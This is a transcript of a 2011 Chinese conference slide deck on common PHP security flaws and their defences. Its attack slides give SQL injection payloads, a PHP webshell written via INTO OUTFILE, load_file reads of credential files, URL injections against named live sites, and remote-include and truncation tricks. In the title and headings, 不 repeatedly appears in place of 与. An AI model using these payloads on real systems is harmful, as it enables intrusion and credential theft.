SlideShare a Scribd company logo
PHP应用程序常见安全问题解析


       Mason @ Tech Club
             2011-08-28




                     http://www.tech-club.org
概要

        SQL 注入攻击不防范
        文件上传不目录解析
        文件包含不截断
        变量覆盖问题
        PHP安全策略


2   http://www.tech-club.org
SQL 注入攻击不防范
     概念与原理
        通过修改传递的参数,执行恶意的数据库语句。




3   http://www.tech-club.org
SQL 注入攻击不防范
         PHP+MYSQL注入的一般攻击流程
         半分法猜解字段数量
            order by 3
         生成union查询语句
             and 0 union select 1,2,3
         获取数据库
             and 0 union select 1,SCHEMA_NAME,3 from information_schema.SCHEMATA
         获取表名
             and 0 union select 1,TABLE_NAME,3 from information_schema.TABLES where TABLE_SCHEMA = 0x00
         获取字段名
           and 0 union select 1,COLUMN_NAME,3, from information_schema.COLUMNS where TABLE_NAME
         =0x00


         接下来?假设猜解出来的表名为admin字段分别为username和password
         and 0 union select 1,username,password,3,4,5,6 from admin




4   http://www.tech-club.org
SQL注入攻击不防范
    Demo




5   http://www.tech-club.org
SQL注入攻击不防范
      如果具备以下条件:

      1、知道站点物理路径
      2、有足够大的权限(ROOT)
      3、magic_quotes_gpc()=OFF
      便可直接写入文件
      select ‘<?php eval($_POST[cmd])?>’ into outfile
      ‘物理路径' 或
      and 1=2 union all select 一句话HEX值 into outfile ‘路
      径'




6   http://www.tech-club.org
SQL 注入攻击与防范
      load_file 的危害
        linux
        /usr/local/apache2/conf/httpd.conf//读取网站配置文件
        /etc/sysconfig/iptables //从中得到防火墙规则策略
        /etc/rsyncd.conf //同步程序配置文件
        /etc/sysconfig/network-scripts/ifcfg-eth0 //查看IP.
        /etc/my.cnf //mysql的配置文件
        /etc/redhat-release //系统版本
        win
        c:mysqldatamysqluser.MYD //存储了数据库用户密码
        c:Program FilesServ-UServUDaemon.ini //Server U配置信息
        c:windowsmy.ini //MYSQL配置文件
        c:windowssystem32inetsrvMetaBase.xml //IIS配置文件
        c:windowsrepairsam //SAM文件
        bsd
        解析BSD脚本
        http://www.vtion.com.cn/app/product/pro_test?id=162/**/AND/**/1=2/**/U
        nion/**/SElect/**/1,load_file%28%27/%27%29,3,4,5,6,7,8%23


7   http://www.tech-club.org
SQL注入攻击不防范
    影响字符串转义相关配置
     magic_quotes_gpc
     影响到 HTTP 请求数据(GET,POST 和 COOKIE)。不能在运行时改变。在 PHP 中默认值为 on。

     magic_quotes_runtime
     如果打开的话,大部份从外部来源取得数据并返回的函数,包括从数据库和文本文件,所返回的数据都会
     被反斜线转义。该选项可在运行的时改变,在 PHP 中的默认值为 off。

     magic_quotes_sybase
     如果打开的话,将会使用单引号对单引号进行转义而非反斜线。此选项会完全覆盖 magic_quotes_gpc。如
     果同时打开两个选项的话,单引号将会被转义成 ”。而双引号、反斜线 和 NULL 字符将不会进行转义


     虽然方便的实现了对特殊符号的自动转义,但是这样会使得程序效率降低,并导致程序可移植变得麻烦。
     在不知道服务器ini设置的情况下,还需要调用get_magic_quotes_gpc() ,get_magic_quotes_runtime() 或
     ini_get()来检测状态。




8   http://www.tech-club.org
SQL注入攻击不防范
    开启了GPC是否就可高枕无忧?
     if(!get_magic_quotes_gpc())
     {
       $_GET = daddslashes($_GET);
       $_POST = daddslashes($_POST);
       $_COOKIE = daddslashes($_COOKIE);
     }

     function daddslashes($string, $force = 1)
     {
       if(is_array($string)) {
         foreach($string as $key => $val) {
            $string[$key] = daddslashes($val, $force);
         }
        } else {
            $string = addslashes($string);
       }
       return $string;
     }


    注意键值的过滤 - http://sebug.net/exploit/19574/


9   http://www.tech-club.org
SQL注入攻击与防范
        X-Forwarded-For伪造
         在PHP5中$_SERVER变量和通过getenv()获取的
         变量 没有 magic_quotes_gpc 的保护
         因而可以通过伪造X-Forwarded-For来通过服务端
         对单引号的过滤,从而达到注入等目的

         http://hi.baidu.com/vi0lentangel/blog/item/930af91ab012c90c4034173d.html



       $HTTP_RAW_POST_DATA与PHP输入、输出流

        主要应用与soap/xmlrpc/webpublish功能里




10   http://www.tech-club.org
SQL注入攻击不防范
      注意解码函数的使用

      urldecode - 解码已编码的 URL 字符串
      rawurldecode - 对已编码的 URL 字符串进行解码
      base64_decode -对使用 MIME base64 编码的数据进行解码

      从用户输入中获取编码后的字符
      在程序中进行解码时,是否有考虑到应用程序的安全?
      http://localhost/Destoon/wap/index.php?moduleid=5&kw=a%2525%2527%09and%09a
      scii(substring((SELECT%09username |
      password%09FROM%09destoon_member%09WHERE%09userid=1),1,1))=0x61%23




11   http://www.tech-club.org
SQL注入攻击不防范
       多字符集编码问题
       php 使用php_escape_shell_cmd这个函数来转义命令行字符串时是作为单字节处
       理的
       而当操作系统设置了GBK、EUC-KR、SJIS等宽字节字符集时候,将这些命令行字
       符串传递给MySQL处理时是作为多字节处理的

       //当GPC=ON
       http://localhost/demo/index.php?username=admin’
       http://localhost/demo/index.php?username=admin%df%27

       //设置客户端字符集为二进制
       mysql_query("SET character_set_connection=gbk, character_set_results=gbk,
       character_set_client=binary", $conn);




12   http://www.tech-club.org
文件上传不目录解析
     IIS6目录解析漏洞
     aaa.php/1.jpg

     Apache 文件解析漏洞
     aaa.php.zzz

     nginx文件类型错误解析问题
     http://www.80sec.com/nginx-securit.html
     http://app.travel.ifeng.com/upload/line/2011/03/24/1300948493ce8b.jpg/a.php

     这就意味着,可以通过上传图片,在图片中添加可执行代码来获取服务器权限。
     这对于一个网站来说,是极为可怕的。




13   http://www.tech-club.org
文件上传不目录解析
        如何防范?

        客户端+服务端的验证;
        替换要创建目录中的”. ”;
        重命名上传的文件;
        采用可上传文件后缀白名单机制;
        审核用户上传的文件
        正确的配置文件解析
            修改php.ini将cgi.fix_pathinfo设为0 执行php/sbin/php-fpm restart重启。




14   http://www.tech-club.org
文件包含不截断
      基本的远程文件包含

          <?php include($_GET['file']); ?>

      包含远程代码                    ?file=http[https][ftp]://www.ab.com/aaa.txt
      包含 PHP流                   ?file=php://input:
      包含 data URIs              ?file=data://text/plain;base64,SSBsb3ZlIFBIUAo=

      远程包含需要: allow_url_include=On,所以关闭它可以减低一定的风险
      当然同时程序上一样需要进行相应过滤和限制.




15   http://www.tech-club.org
文件包含不截断

       本地包含不截断

       <?php include("includes/" . $_GET['file']).”.php”; ?>


         GPC=OFF 下空字符截断
          //?file=aaa.jpg%00

         操作系统对文件名的长度限制来截断
         //?file=aaa.jpg/////// (/的数量大于4096)




16   http://www.tech-club.org
文件包含不截断
        如何防范?

         对空字符进行转义

         过滤”/”,将需包含的文件放到用户丌可达的目录

         包含是一个非常危险函数,因此在项目审核中必须对
         其逻辑和过滤再次审核.

         涉及到的函数〔include(),require()和include_once(),require_once()〕




17   http://www.tech-club.org
变量覆盖问题
        可能引起变量覆盖的情况

        各种循环;
        register_globals = on时;
        extract()这个函数在参数为EXTR_OVERWRITE;
        parse_str();
        mb_parse_str();
        import_request_variables();

        DedeCMS v5.6-5.7 越权访问漏洞

        http://sebug.net/vulndb/20859/



18   http://www.tech-club.org
PHP安全策略


           1.安全是没有绝对的
           2.任何的用户输入都是有害的
           3.使用开源程序的风险




19   http://www.tech-club.org
PHP安全策略
       WEB服务器安全配置
         magic_quotes_gpc=on
         magic_quotes_runtime=off
         magic_quotes_sybase=off
         allow_url_include=off
         register_globals=off
         display_error=off

              建议开启safe_mode

              网站目录的最小权限配置
              数据库用户最小权限配置
              WEB不数据库分离
20   http://www.tech-club.org
PHP安全策略

      应用程序安全策略
          丌要信任服务器的配置

          过滤的用户输入

          关闭错误报告

          审核你的应用程序




21   http://www.tech-club.org
That’s All,Thx!
        Mason [Tech Club] At 2011-08-28
        QQ:31972184, E-mail:Mason@V5Script.ORG
        http://www.weibo.com/phpext




22   http://www.tech-club.org

More Related Content

DOC
Oraliux+mysql5单机多实例安装文档
PDF
Install oracle ebs r12.1.1 on OEL5.6 x86(include demo)
PPTX
一個微信專案從0到000的效能調教
PPT
渗透测试思路技术与方法
PDF
安博士Asec 2010年4月安全报告
PDF
Installation and configuration 11g r2
PPT
南投替代役整理組數位典藏報告
PPT
Php safe-code
Oraliux+mysql5单机多实例安装文档
Install oracle ebs r12.1.1 on OEL5.6 x86(include demo)
一個微信專案從0到000的效能調教
渗透测试思路技术与方法
安博士Asec 2010年4月安全报告
Installation and configuration 11g r2
南投替代役整理組數位典藏報告
Php safe-code

What's hot (20)

PPTX
滲透測試 Talk @ Nisra
PPTX
網頁安全 Web security 入門 @ Study-Area
DOC
Nginx+常见应用技术指南
PDF
安博士Asec 2010年3月安全报告
PDF
Installation and configuration 11g r2 asm using job role separation(grid & or...
PPTX
OWASP Top 10 (2013) 正體中文版
PPTX
WEB 安全基础
 
PDF
Oracle enterprise manager cloud control 12c release 5 installation on oracle ...
PPTX
[xKungFoo2012]Web Service Hack
PDF
網站系統安全及資料保護設計認知
PPTX
WebConf 2013「Best Practices - The Upload」
PDF
6kbbs vulnerability report
PPT
高性能网站最佳实践
PDF
網站系統安全及資料保護設計認知 2019
PPTX
hicloud PaaS雲創平台(Java/PHP介紹)
DOC
康盛创想项目部Linux 服务器部署标准(最新版)
PDF
伺服器端攻擊與防禦I
PDF
Windows 10 install mysql 8.0.16
PDF
議題二:Web應用程式安全防護
PDF
20150528联动技术大讲堂15(刘胜)业务系统上线标准指引
滲透測試 Talk @ Nisra
網頁安全 Web security 入門 @ Study-Area
Nginx+常见应用技术指南
安博士Asec 2010年3月安全报告
Installation and configuration 11g r2 asm using job role separation(grid & or...
OWASP Top 10 (2013) 正體中文版
WEB 安全基础
 
Oracle enterprise manager cloud control 12c release 5 installation on oracle ...
[xKungFoo2012]Web Service Hack
網站系統安全及資料保護設計認知
WebConf 2013「Best Practices - The Upload」
6kbbs vulnerability report
高性能网站最佳实践
網站系統安全及資料保護設計認知 2019
hicloud PaaS雲創平台(Java/PHP介紹)
康盛创想项目部Linux 服务器部署标准(最新版)
伺服器端攻擊與防禦I
Windows 10 install mysql 8.0.16
議題二:Web應用程式安全防護
20150528联动技术大讲堂15(刘胜)业务系统上线标准指引
Ad

Viewers also liked (7)

PPTX
Web开发与运维安全浅见
PDF
基于Symfony框架下的快速企业级应用开发
PDF
开放平台的资源分配与多级缓存体系的优化
PDF
Java program in_action
PDF
Taobao base
PDF
百度自动化运维中的关系管理
PDF
The simplethebeautiful
Web开发与运维安全浅见
基于Symfony框架下的快速企业级应用开发
开放平台的资源分配与多级缓存体系的优化
Java program in_action
Taobao base
百度自动化运维中的关系管理
The simplethebeautiful
Ad

Similar to Php应用程序常见安全问题解析 (20)

PPT
PHP Coding Standard and 50+ Programming Skills
PDF
高性能LAMP程序设计
PPT
PHP & MySQL 教學
PDF
Lamp高性能设计
PPT
钟志 第八期Web标准化交流会
DOC
X64服务器 lamp服务器部署标准 new
PDF
从无阻塞并行脚本加载(Lab.js)到浏览器消息模型
PPTX
张所勇:前端开发工具推荐
PPT
deep inside Sina App Engine cloud service
PPT
PPT
互联网创业服务器运维工具集
PPT
網站設計100步
PDF
Spring 2.x 中文
PDF
安博士Asec 2010年7月安全报告
PPTX
如何使用 Xhprof 分析網站效能 (真實案例2)
PDF
Introduction to MVC of CodeIgniter 2.1.x
PPTX
OPOA in Action -- 使用MagixJS简化WebAPP开发
PPTX
Hadoop ecosystem
PDF
配置Oracle 10g 双向流复制
PPTX
利用Signalr打造即時通訊@Tech day geek
PHP Coding Standard and 50+ Programming Skills
高性能LAMP程序设计
PHP & MySQL 教學
Lamp高性能设计
钟志 第八期Web标准化交流会
X64服务器 lamp服务器部署标准 new
从无阻塞并行脚本加载(Lab.js)到浏览器消息模型
张所勇:前端开发工具推荐
deep inside Sina App Engine cloud service
互联网创业服务器运维工具集
網站設計100步
Spring 2.x 中文
安博士Asec 2010年7月安全报告
如何使用 Xhprof 分析網站效能 (真實案例2)
Introduction to MVC of CodeIgniter 2.1.x
OPOA in Action -- 使用MagixJS简化WebAPP开发
Hadoop ecosystem
配置Oracle 10g 双向流复制
利用Signalr打造即時通訊@Tech day geek

More from mysqlops (20)

PPT
Oracle数据库分析函数详解
PDF
Percona Live 2012PPT:mysql-security-privileges-and-user-management
PDF
Percona Live 2012PPT: introduction-to-mysql-replication
PDF
Percona Live 2012PPT: MySQL Cluster And NDB Cluster
PDF
Percona Live 2012PPT: MySQL Query optimization
PDF
Pldc2012 innodb architecture and internals
PPSX
DBA新人的述职报告
PDF
分布式爬虫
PPSX
MySQL应用优化实践
PPT
eBay EDW元数据管理及应用
PPT
基于协程的网络开发框架的设计与实现
PPT
eBay基于Hadoop平台的用户邮件数据分析
PPSX
对MySQL DBA的一些思考
PPT
QQ聊天系统后台架构的演化与启示
PPT
腾讯即时聊天IM1.4亿在线背后的故事
PDF
分布式存储与TDDL
PDF
MySQL数据库生产环境维护
PDF
Memcached
PDF
DevOPS
PDF
MySQL数据库开发的三十六条军规
Oracle数据库分析函数详解
Percona Live 2012PPT:mysql-security-privileges-and-user-management
Percona Live 2012PPT: introduction-to-mysql-replication
Percona Live 2012PPT: MySQL Cluster And NDB Cluster
Percona Live 2012PPT: MySQL Query optimization
Pldc2012 innodb architecture and internals
DBA新人的述职报告
分布式爬虫
MySQL应用优化实践
eBay EDW元数据管理及应用
基于协程的网络开发框架的设计与实现
eBay基于Hadoop平台的用户邮件数据分析
对MySQL DBA的一些思考
QQ聊天系统后台架构的演化与启示
腾讯即时聊天IM1.4亿在线背后的故事
分布式存储与TDDL
MySQL数据库生产环境维护
Memcached
DevOPS
MySQL数据库开发的三十六条军规

Php应用程序常见安全问题解析

  • 1. PHP应用程序常见安全问题解析 Mason @ Tech Club 2011-08-28 http://www.tech-club.org
  • 2. 概要 SQL 注入攻击不防范 文件上传不目录解析 文件包含不截断 变量覆盖问题 PHP安全策略 2 http://www.tech-club.org
  • 3. SQL 注入攻击不防范 概念与原理 通过修改传递的参数,执行恶意的数据库语句。 3 http://www.tech-club.org
  • 4. SQL 注入攻击不防范 PHP+MYSQL注入的一般攻击流程 半分法猜解字段数量 order by 3 生成union查询语句 and 0 union select 1,2,3 获取数据库 and 0 union select 1,SCHEMA_NAME,3 from information_schema.SCHEMATA 获取表名 and 0 union select 1,TABLE_NAME,3 from information_schema.TABLES where TABLE_SCHEMA = 0x00 获取字段名 and 0 union select 1,COLUMN_NAME,3, from information_schema.COLUMNS where TABLE_NAME =0x00 接下来?假设猜解出来的表名为admin字段分别为username和password and 0 union select 1,username,password,3,4,5,6 from admin 4 http://www.tech-club.org
  • 5. SQL注入攻击不防范 Demo 5 http://www.tech-club.org
  • 6. SQL注入攻击不防范 如果具备以下条件: 1、知道站点物理路径 2、有足够大的权限(ROOT) 3、magic_quotes_gpc()=OFF 便可直接写入文件 select ‘<?php eval($_POST[cmd])?>’ into outfile ‘物理路径' 或 and 1=2 union all select 一句话HEX值 into outfile ‘路 径' 6 http://www.tech-club.org
  • 7. SQL 注入攻击与防范 load_file 的危害 linux /usr/local/apache2/conf/httpd.conf//读取网站配置文件 /etc/sysconfig/iptables //从中得到防火墙规则策略 /etc/rsyncd.conf //同步程序配置文件 /etc/sysconfig/network-scripts/ifcfg-eth0 //查看IP. /etc/my.cnf //mysql的配置文件 /etc/redhat-release //系统版本 win c:mysqldatamysqluser.MYD //存储了数据库用户密码 c:Program FilesServ-UServUDaemon.ini //Server U配置信息 c:windowsmy.ini //MYSQL配置文件 c:windowssystem32inetsrvMetaBase.xml //IIS配置文件 c:windowsrepairsam //SAM文件 bsd 解析BSD脚本 http://www.vtion.com.cn/app/product/pro_test?id=162/**/AND/**/1=2/**/U nion/**/SElect/**/1,load_file%28%27/%27%29,3,4,5,6,7,8%23 7 http://www.tech-club.org
  • 8. SQL注入攻击不防范 影响字符串转义相关配置 magic_quotes_gpc 影响到 HTTP 请求数据(GET,POST 和 COOKIE)。不能在运行时改变。在 PHP 中默认值为 on。 magic_quotes_runtime 如果打开的话,大部份从外部来源取得数据并返回的函数,包括从数据库和文本文件,所返回的数据都会 被反斜线转义。该选项可在运行的时改变,在 PHP 中的默认值为 off。 magic_quotes_sybase 如果打开的话,将会使用单引号对单引号进行转义而非反斜线。此选项会完全覆盖 magic_quotes_gpc。如 果同时打开两个选项的话,单引号将会被转义成 ”。而双引号、反斜线 和 NULL 字符将不会进行转义 虽然方便的实现了对特殊符号的自动转义,但是这样会使得程序效率降低,并导致程序可移植变得麻烦。 在不知道服务器ini设置的情况下,还需要调用get_magic_quotes_gpc() ,get_magic_quotes_runtime() 或 ini_get()来检测状态。 8 http://www.tech-club.org
  • 9. SQL注入攻击不防范 开启了GPC是否就可高枕无忧? if(!get_magic_quotes_gpc()) { $_GET = daddslashes($_GET); $_POST = daddslashes($_POST); $_COOKIE = daddslashes($_COOKIE); } function daddslashes($string, $force = 1) { if(is_array($string)) { foreach($string as $key => $val) { $string[$key] = daddslashes($val, $force); } } else { $string = addslashes($string); } return $string; } 注意键值的过滤 - http://sebug.net/exploit/19574/ 9 http://www.tech-club.org
  • 10. SQL注入攻击与防范 X-Forwarded-For伪造 在PHP5中$_SERVER变量和通过getenv()获取的 变量 没有 magic_quotes_gpc 的保护 因而可以通过伪造X-Forwarded-For来通过服务端 对单引号的过滤,从而达到注入等目的 http://hi.baidu.com/vi0lentangel/blog/item/930af91ab012c90c4034173d.html $HTTP_RAW_POST_DATA与PHP输入、输出流 主要应用与soap/xmlrpc/webpublish功能里 10 http://www.tech-club.org
  • 11. SQL注入攻击不防范 注意解码函数的使用 urldecode - 解码已编码的 URL 字符串 rawurldecode - 对已编码的 URL 字符串进行解码 base64_decode -对使用 MIME base64 编码的数据进行解码 从用户输入中获取编码后的字符 在程序中进行解码时,是否有考虑到应用程序的安全? http://localhost/Destoon/wap/index.php?moduleid=5&kw=a%2525%2527%09and%09a scii(substring((SELECT%09username | password%09FROM%09destoon_member%09WHERE%09userid=1),1,1))=0x61%23 11 http://www.tech-club.org
  • 12. SQL注入攻击不防范 多字符集编码问题 php 使用php_escape_shell_cmd这个函数来转义命令行字符串时是作为单字节处 理的 而当操作系统设置了GBK、EUC-KR、SJIS等宽字节字符集时候,将这些命令行字 符串传递给MySQL处理时是作为多字节处理的 //当GPC=ON http://localhost/demo/index.php?username=admin’ http://localhost/demo/index.php?username=admin%df%27 //设置客户端字符集为二进制 mysql_query("SET character_set_connection=gbk, character_set_results=gbk, character_set_client=binary", $conn); 12 http://www.tech-club.org
  • 13. 文件上传不目录解析 IIS6目录解析漏洞 aaa.php/1.jpg Apache 文件解析漏洞 aaa.php.zzz nginx文件类型错误解析问题 http://www.80sec.com/nginx-securit.html http://app.travel.ifeng.com/upload/line/2011/03/24/1300948493ce8b.jpg/a.php 这就意味着,可以通过上传图片,在图片中添加可执行代码来获取服务器权限。 这对于一个网站来说,是极为可怕的。 13 http://www.tech-club.org
  • 14. 文件上传不目录解析 如何防范? 客户端+服务端的验证; 替换要创建目录中的”. ”; 重命名上传的文件; 采用可上传文件后缀白名单机制; 审核用户上传的文件 正确的配置文件解析 修改php.ini将cgi.fix_pathinfo设为0 执行php/sbin/php-fpm restart重启。 14 http://www.tech-club.org
  • 15. 文件包含不截断 基本的远程文件包含 <?php include($_GET['file']); ?> 包含远程代码 ?file=http[https][ftp]://www.ab.com/aaa.txt 包含 PHP流 ?file=php://input: 包含 data URIs ?file=data://text/plain;base64,SSBsb3ZlIFBIUAo= 远程包含需要: allow_url_include=On,所以关闭它可以减低一定的风险 当然同时程序上一样需要进行相应过滤和限制. 15 http://www.tech-club.org
  • 16. 文件包含不截断 本地包含不截断 <?php include("includes/" . $_GET['file']).”.php”; ?> GPC=OFF 下空字符截断 //?file=aaa.jpg%00 操作系统对文件名的长度限制来截断 //?file=aaa.jpg/////// (/的数量大于4096) 16 http://www.tech-club.org
  • 17. 文件包含不截断 如何防范? 对空字符进行转义 过滤”/”,将需包含的文件放到用户丌可达的目录 包含是一个非常危险函数,因此在项目审核中必须对 其逻辑和过滤再次审核. 涉及到的函数〔include(),require()和include_once(),require_once()〕 17 http://www.tech-club.org
  • 18. 变量覆盖问题 可能引起变量覆盖的情况 各种循环; register_globals = on时; extract()这个函数在参数为EXTR_OVERWRITE; parse_str(); mb_parse_str(); import_request_variables(); DedeCMS v5.6-5.7 越权访问漏洞 http://sebug.net/vulndb/20859/ 18 http://www.tech-club.org
  • 19. PHP安全策略 1.安全是没有绝对的 2.任何的用户输入都是有害的 3.使用开源程序的风险 19 http://www.tech-club.org
  • 20. PHP安全策略 WEB服务器安全配置 magic_quotes_gpc=on magic_quotes_runtime=off magic_quotes_sybase=off allow_url_include=off register_globals=off display_error=off 建议开启safe_mode 网站目录的最小权限配置 数据库用户最小权限配置 WEB不数据库分离 20 http://www.tech-club.org
  • 21. PHP安全策略 应用程序安全策略 丌要信任服务器的配置 过滤的用户输入 关闭错误报告 审核你的应用程序 21 http://www.tech-club.org
  • 22. That’s All,Thx! Mason [Tech Club] At 2011-08-28 QQ:31972184, E-mail:Mason@V5Script.ORG http://www.weibo.com/phpext 22 http://www.tech-club.org